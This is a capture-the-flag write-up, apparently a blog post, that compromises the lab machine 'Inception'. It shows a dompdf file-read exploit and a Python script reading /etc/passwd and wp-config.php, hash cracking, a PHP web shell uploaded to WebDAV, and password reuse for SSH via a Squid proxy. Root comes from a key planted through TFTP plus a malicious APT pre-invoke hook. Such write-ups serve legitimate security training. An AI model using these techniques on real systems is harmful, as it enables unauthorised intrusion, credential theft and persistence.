Today we’re going to solve another CTF machine “Inception”. It is now retired box and can be accessible if you’re a VIP member.

Introduction

Specifications

  • Target OS: Linux
  • Services: HTTP, HTTP Proxy Squid
  • IP Address: 10.10.10.67
  • Difficulty: Hard

Weakness

  • Bypassing restrictive network filtering
  • dompdf exploitation
  • Reuse of password

Contents

  • Getting user
  • Getting root

Reconnaissance

As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.

Since, we have two ports opened one is “Squid http proxy” and “Apache” let’s enumerate both.

Enumerate Squid HTTP Proxy

I don’t really know what’s the purpose of Squid http proxy here on the box. So let’s find out by doing some Google research.

We found an msf module “use auxiliary/scanner/http/squid_pivot_scanning” after reading the description we found that it can be helpful for internal port scan of the network.

Let’s get started!

Great! we see SSH is opened indeed but don’t really know the password of it, we’ll leave it here for now and continue enumerating further.

We also have apache running so after browsing we got.

We start gathering information manually first to check some initial things such as checking page source code or enumerating directories robots.txt etc..

curl 10.10.10.67

We found a comment left by a developer <!– Todo: test dompdf on php 7.x –>

We have two keywords test and dompdf by assuming this could be directories we tested and found dompdf an actual directory.

After navigating through some directories we found nothing so after that i some Google research about dompdf i found out that it’s an “HTML to PDF converter” then i ran searchsploit and found 3 exploits and version 0.6.0.

And inside /dompdf directory we have VERSION file and it’s 0.6.0.

And we found our exploit “dompdf 0.6.0 – ‘dompdf.php’ ‘read’ Parameter Arbitrary File Read” now let’s test it.

searchsploit dompdf -m php/webapps/33004.txt .

This is an example URL

http://example/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>

If we take a look we have convert.base64-encode parameter so we can expect our output encoded let’s test with /etc/passwd file.

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd

If you browse this URL it will download PDF but to be quick we can use curl instead.

Since we have base64 encoded we can easily decode it by using this command below.

base64 -di passwd.txt > decoded.txt

And we have this uncommon user cobb:x:1000:1000::/home/cobb:/bin/bash so this will be our primarily target.

Since we can’t do much with this exploit but we can look around some interesting files such as virtual hosts default file.

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

By doing this manually takes time so let’s create a python script first.

#!/usr/bin/env python3
import base64
import urllib.request
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("file")
args = parser.parse_args()


url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='

try:
	req = urllib.request.urlopen(url + args.file)

	output = req.read()
	
	if output:
		string = output.decode()
		result = string[string.find("[(")+2:string.find(")]")]
		decoded = base64.b64decode(result).decode('utf8')
		print(decoded)

except urllib.error.HTTPError:
	print("File cannot be downloaded")

We can simply use this script and use file as a parameter.

python3 lfi.py /etc/passwd

Now after checking some default files we come to know that inside apache default host file. we have a hidden directory. which maybe wasn’t possible for any directory enumerating tool to find.

python3 lfi.py /etc/apache2/sites-available/000-default.conf

AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd

If you browse this file it asks for credentials. which we don’t have yet! but we have read access through LFI exploit 🙂

Now that we have found our creds it’s encrypted in md5.

webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Let’s crack this md5 hash.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

And we got the password babygurl69

And now we have our username webdav_tester and the password babygurl69.

Using the previously obtained credentials, it is possible to log into the webdav instance at
/webdav_test_inception, however it returns 403 forbidden. Using the same credentials, it is
possible to upload a PHP script to the webdav directory to obtain remote code execution. This
can be achieved multiple different ways, however using cURL is likely the easiest.

curl --upload-file phpbash.php -u webdav_tester:babygurl69 http://10.10.10.67/webdav_test_inception/

Since we can’t get any reverse shell instead we’re gonna upload a shell and operate through URL.

After navigating around some directories we found wordpress_4.8.3 directory but we don’t permission for read. but you remember we can read wp-config.php file through read access through LFI exploit.

python3 lfi.py /var/www/html/wordpress_4.8.3/wp-config.php | grep DB

DB_NAME, wordpress
DB_USER, root
DB_PASSWORD, VwPddNh7xMZyDQoByQL4
DB_HOST, localhost

So, now that we have found MYSQL password but we don’t really know the purpose of it right now! but we can assume this could be the repeated password for SSH.

If you remember we found an SSH port opened through internal scan but don’t really know how to connect to it. let’s figure it out together.

After doing some Google search i found an simple method to tunnel through proxy by adding the squid proxy to /etc/proxychains.conf.

http 10.10.10.67 3128

After adding that line to the bottom of proxychains.conf let’s try connecting now!

proxychains ssh [email protected]

Privilege Escalation

Now, that we have found user access we’re going after root.txt flag now. We can gather information by running enumeration scripts. but before that we should do some research manually.

I did sudo -l and got this output.

[email protected]:~$ sudo -l
[sudo] password for cobb: 
Matching Defaults entries for cobb on Inception:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobb may run the following commands on Inception:
    (ALL : ALL) ALL

Since, we have permission to run sudo we can easily su to root.

This is what we got instead of our flag.

“You’re waiting for a train. A train that will take you far away. Wake up to find root.txt.”

I thought maybe it’s renamed to something else or maybe it’s hidden somewhere but unfortunately no luck. Now it’s time to run enumerating script! When i did wget then i noticed something strange.

Then i noticed we’re on a different machine here! Now we have to enumerate more.

If we check netstat -ant we have something interesting.

[email protected]:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:38592         127.0.1.1:22            ESTABLISHED
tcp        0      0 127.0.1.1:22            127.0.0.1:38592         ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 :::3128                 :::*                    LISTEN     
tcp6       0    772 192.168.0.10:3128       192.168.0.1:50256       ESTABLISHED

We see another IP address, 192.168.0.1 is connected to the squid port on the box we are currently on.

Also if you do!

[email protected]:~$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
    address 192.168.0.10
    netmask 255.255.255.0
    gateway 192.168.0.1
    dns-nameservers 192.168.0.1

192.168.0.1 is our gateway it says! Let’s find out more about it.

We can use nc to port scan.

[email protected]:~$ nc -zv 192.168.0.1 1-65535 &> results && cat results | grep succeeded
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!

It’s interesting we found these ports.

Scan UDP ports using nc

[email protected]:~$ nc -zvu 192.168.0.1 1-100 2>&1 | grep -v "refused"
Connection to 192.168.0.1 53 port [udp/domain] succeeded!
Connection to 192.168.0.1 67 port [udp/bootps] succeeded!
Connection to 192.168.0.1 69 port [udp/tftp] succeeded!

We can successfully connect to ftp using anonymous:anonymous login.

We are also able to download most files, but we are not able to put anything on the system through FTP. Now we don’t have much freedom here instead we’re limited to enumerate manually.

Inside /etc directory we have some interesting files.

[email protected]:~# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
get passwd
tftp:x:112:119:tftp daemon,,,:/var/lib/tftpboot:/bin/false
get crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 *   * * *   root    apt update 2>&1 >/var/log/apt/custom.log
30 23   * * *   root    apt upgrade -y 2>&1 >/dev/null
cd default
get tftpdhpa
# /etc/default/tftpd-hpa

TFTP_USERNAME="root"
TFTP_DIRECTORY="/"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure --create"

We can see apt update command is running every 5 minutes.

Now, read this: https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/

Let’s create our SSH key first.

[email protected]:/home/cobb# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:+UseOQ+gshE8fZ/Lb0GFRFrdHm/WuQtPWWKXNll0HFE [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|           o+o *E|
|           o. o.=|
|          .  . .O|
|   . .   .  . o*O|
|    + . S  . ..==|
|     o o + o.. + |
|    o .   X  .+ .|
|     +   + B.  o |
|    .     =oo    |
+----[SHA256]-----+

Now we have to upload our public key using tftp.

tftp 192.168.0.1
cd /root/.ssh
tftp 192.168.0.1
put id_rsa.pub /root/.ssh/authorized_keys

Success! Now we will need to chmod the permissions on the file, otherwise it will be ignored by SSH. Let’s setup our apt command file with the following:

[email protected]:~# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > shell
[email protected]:~# ls
root.txt  shell
[email protected]:~# tftp 192.168.0.1
tftp> put shell /etc/apt/apt.conf.d/shell
Sent 67 bytes in 0.0 seconds
tftp> quit

We have to wait since it’s running every 5 minutes.

[email protected]:~# ssh [email protected]
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Thu Nov 30 20:04:21 2017
[email protected]:~# 

Done! 🙂 We’re root now!